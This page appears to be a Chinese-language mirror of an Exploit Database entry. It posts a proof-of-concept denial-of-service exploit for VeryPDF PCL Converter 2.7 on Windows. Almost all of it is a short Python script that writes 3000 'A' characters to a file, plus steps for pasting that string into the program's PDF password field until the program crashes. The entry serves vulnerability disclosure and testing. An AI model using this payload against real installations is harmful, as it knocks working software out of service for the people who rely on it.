PCL Converter 2.7 – Denial of Service (PoC)

• Exploit Database
• 17 阅读

• 作者： Alejandra Sánchez
  日期： 2019-05-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46872/

• # -*- coding: utf-8 -*-
  # Exploit Title: VeryPDF PCL Converter v2.7 - Denial of Service (PoC)
  # Date: 19/05/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: http://www.verypdf.com
  # Software: http://www.verypdf.com/pcltools/pcl-converter.exe
  # Version: 2.7
  # Tested on: Windows 10
  
  # Proof of Concept:
  # 1.- Run the python script "PCLConverter.py", it will create a new file "PCLConverter.txt"
  # 2.- Copy the text from the generated PCLConverter.txt file to clipboard
  # 3.- Open VeryPDF PCL Converter v2.7 
  # 4.- Go to 'Setting' > 'PDF Security'
  # 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
  # 6.- Click on 'Add File(s)', and select a pcl file, e.g. 'sample.pcl'
  # 7.- Click on 'Start', you will see a crash
  
  buffer = "\x41" * 3000
  f = open ("PCLConverter.txt", "w")
  f.write(buffer)
  f.close()